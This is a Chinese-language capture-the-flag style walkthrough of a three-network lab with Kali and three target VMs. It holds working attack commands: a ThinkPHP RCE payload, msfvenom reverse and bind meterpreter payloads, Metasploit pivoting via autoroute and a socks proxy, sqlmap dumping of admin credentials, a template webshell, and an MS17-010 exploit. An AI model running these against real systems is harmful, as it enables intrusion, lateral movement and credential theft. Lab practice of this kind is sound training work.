环境配置
靶场环境:
靶场虚拟机下载:https://pan.baidu.com/s/1O9pgm9UZCSIdifMEb0E9ZA#list/path=%2F
提取码:qaza
该靶机的渗透流程如下:
通过攻击机kali192.168.206.128攻击target1 的192.168.206.130,target2和target3不能连接外网,只能再内网进行通信。所以得先渗透target1,然后通过他的22网卡去攻击target2,然后通过target2做跳板来攻击target3
1.虚拟机网络配置:
VMnet1 链接外网
VMnet3 配置的是22网段
VMnet4 配置的是33网段
kali:网络适配器选择 VMnet1
target1网络适配器选择 VMnet1 VMnet3
target2网络适配器选择VMnet3 VMnet4
target3网络适配器选择 VMnet4
选择完成后挨个ping检查一下看是否能ping通。
kali : 192.168.206.128 ,可以ping通target1
target1 :192.168.206.130 / 192.168.22.130
target2 :192.168.22.128 / 192.168.33.128 target2 可以ping通target1
target3:192.168.33.33 可以ping通target2
实现两两互通,即Kali能ping通target1 ;target1能ping通target2 ; target2能ping通target3
靶场网络拓扑图:
2.设置宝塔启动web服务
通过192.168.206.0网段的IP地址打开Tagrget1的宝塔面板
地址:http://你的IP:8888/a768f109/
账号:eaj3yhsl
密码:41bb8fee
打开192.168.206.130的80端口,确保kali可以访问到
Target2也同理,账号密码如下:
给Target2 网络适配器添加一个206网段 也就是VMnet1 不然Kali访问不了,设置好了宝塔之后在删除Target2 的VMnet1的网络配置。
地址:http://你的IP:8888/2cc52ec0/
账号:xdynr37d
密码:123qwe..
登录到宝塔面板设置 根据你Target2的22网段IP修改
环境配置到这就完成了,最后删掉Target2的VM1网卡即可
至此环境配置完成。
演练
1.针对Target_1信息搜集与渗透测试:
nmap -sn 192.168.206.0/24 扫描206网段主机
nmap -sV -p 1-65535 -T4 192.168.206.130 扫描目标主机开放端口
发现开放了80端口,说明目标地址可能存在网站,
2.访问http://192.168.206.130,得知是TP框架
百度搜索发现ThinkPHP V5 存在代码执行漏洞,可以利用工具直接getshell
验证一下是否存在该漏洞POC:
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
成功出现了PHPinfo界面,说明该版本是存在这在漏洞的,接下来就可以直接上工具写入一句话了,当然也可以使用POC写入一句话,不过还是工具方便些。
**注意:**linux下使用\转义$,windows下用^转义
蚂剑链接
3… 针对Target_1信息搜集
查看target1网络信息发现存在两个网卡,还存在着192.168.22.xx网段
MSF生成木马让Target_1上线,需要让Target_1当作跳板去工具Target_2,这个过程是比较麻烦,使用MSF或者CS是比较方便的,所以让Target_1上线MSF。
制作MSF木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.206.128 LPORT=1111 -f elf >shell.elf
MSF监听木马,等待上线
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
show options
set LHOST 192.168.206.128
set LPORT 1111
exploit
成功接收到target1的回话了。
现在Kali在206网段,target2在22网段,如何实现让Kali访问到22网段呢?msf上有自带的代理CS上面也有,接下来通过MSF上面的代理来实现Kali访问target2。
3.信息收集及配置访问
由于测试环境是我们自己准备的,所以我们知道target2主机的网段及IP地址。但是在实战中,我们应该是未知的,因此我们需要首先进行信息收集,以获得目标target2的相关信息,为进一步的渗透做准备。
拿到会话后进行信息收集,获取网络接口
获取当前的网段: run get_local_subnets
查看路由:run autoroute -p
添加路由:run autoroute -s 192.168.22.0/24
发现存在 22 、29 、 206网段,其中29无关紧要,206与Kali同网段,22与target2是一个网段,Kali是无法访问到22网段的。如何访问到22网段呢,msf和cs都有代理集成功能,我们使用这些功能设置.,先添加路由。
添加路由:run autoroute -s 192.168.22.0/24
可以看到添加路由成功,在session1上面多了一个192.168.22.0的路由了,就表示在session1上面添加了一个22网卡。
建立路由后kali可以和22网段进行通信(只能在MSF上面进行通信)。那么我们想要通过session1用工具去攻击22网段,这个时候该怎么办呢?
为了解决这种情况,我们可以在本地(msf上有模块可以开代理)开一个代理,通过这个代理给其他人一个端口去连接,然后我们就可以用自己的本机(自己的电脑,不是攻击机kali)去连接kali的端口,这样就能访问192.168.22.129了
background
use auxiliary/server/socks_proxy
set SRVHOST 0.0.0.0
set SRVPORT 1100
set version 4a
exploit
修改proxychains配置文件(proxychains工具是kali上自带的全局代理软件;windows下可以使用Proxifier_PE和SocksCap64-Portable)
vi /etc/proxychains4.conf
socks4 192.168.206.128 1100
设置完成后,就可以执行这条命令:proxychains nmap -sT -Pn 192.168.22.0/24 来扫描22网段了,这条命令意思是通过Kali去访问22网段进行nmap扫描。
使用nmap扫描22网段
proxychains nmap -sT -Pn 192.168.22.0/24
这里扫出来了129及其端口:
在windows下可以装个SocksCap64,设置代理
将要使用的工具加入里面就可以了
扫描出来了 target2 IP 192.168.22.128 开放了80端口,我们访问一下以WEB作为切入口想办法拿下 target2 ,此时我们游览器是访问不到192.168.22.128,原因是游览器没有加代理,需要设置游览器代理带能访问,
打开游览器设置,点击NetworkSettings
选择使用代理,代理选择SOCKSv4 因为MSF设置的时候是选择的V4,然后设置HOST为Kali的IP,以及port 2222
可以看到游览器可以访问target2的WEB服务了
查看源码发现给到我们一个线索,说SQL注入点:/index.php?r=vul&keyword=1>
那么直接使用Sqlmap来获得到账号密码:
#爆库名
proxychains sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -p keyword --dbs
#爆表名
proxychains sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -p keyword -D bagecms --tables
#爆列名
proxychains sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin --columns
#获得账户密码
proxychains sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin -C username,password --dump
爆库名:
#爆表名
爆列名:
获得账户密码
账户密码admin :123qwe
admin 账户密码得到了,想办法找到后台入口,首先扫描一下网站目录。
目录扫描发现 http://192.168.22.128/robots.txt
进入后台
通过后台拿shell,然后对target3进行渗透。
模板可以修改代码,可以在末模版处写入一句话来getshell
蚁剑链接,这里蚁剑是连接不到22网断的,需要在蚁剑中添加代理才能访问。
至此,我们已经渗透到target2,通过查看网络信息得知33网段
MSF上线Target_2
通过msf创建后门建立连接,但是此处的后门要生成一个正向的后门
重点理解:
反向:我们拿下了target_2的web权限,如果我们上传的是反向的木马,那么target_2就要去寻找我们kali的路由,但是target_2主机中没有kali 206网段的路由,那么就会导致我们的反弹shell失败
正向:我们生成了一个正向的木马,我们的kali攻击机就会去主动寻找target_2的服务器,这个时候我们因为做了一个socks的代理,我们的流量会通过kali的ip的2222端口代理给target_1,然后target1_中是存在22网段中的路由的,所以我们可以正常进行连接。
msf正向连接
msfvenom -p linux/x64/meterpreter/bind_tcp lport=3333 -f elf >shell2.elf
background
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.128
set LPORT 3333
exploit
执行后门文件
MSF接收到target2 的回话
还是老步骤,信息收集+配置访问
获取当前的网段: run get_local_subnets
查看路由:run autoroute -p
添加路由:run autoroute -s 192.168.33.0/24
再次查看路由:run autoroute -p
添加socket代理
background
use auxiliary/server/socks_proxy
set SRVHOST 0.0.0.0
set SRVPORT 1111
set version 4a
exploit
设置proxychains.conf
vi /etc/proxychains4.conf
socks4 192.168.206.128 1111
nmap扫描33网段
proxychains nmap -Pn -sT 192.168.33.33
扫描主机为192.168.33.33,并且开放135和445端口,开放这两个端口可以判断是Windows操作系统,使用ms17-010来测试一下:
检测ms17-010漏洞
use auxiliary/scanner/smb/smb_ms17_010
set RHOST 192.168.33.33
set RPOT 445
exploit
扫描发现存在该漏洞, 目标操作系统是win7
调用ms17-010模块攻击
use exploit/windows/smb/ms17_010_psexec
set payload windows/x64/meterpreter/bind_tcp //设置正向连接
show options
set RHOST 192.168.33.33
exploit
攻击成功,成功接收到target3返回的shell.
shell
dir /S flag.txt /B
type C:\Users\Administrator\Desktop\flag.txt
# /B 显示文件夹或文件的名字
# /S 显示指定目录和所有子目录中的文件。
总结:
三层网络中通过MSF强大的路由功能以及socket代理,不断的进行横向移动。MSF上线,查看路由,添加路由,设置socket代理,攻击其他网段目标不断循环。
参考:
CFS三层靶机渗透_Kali版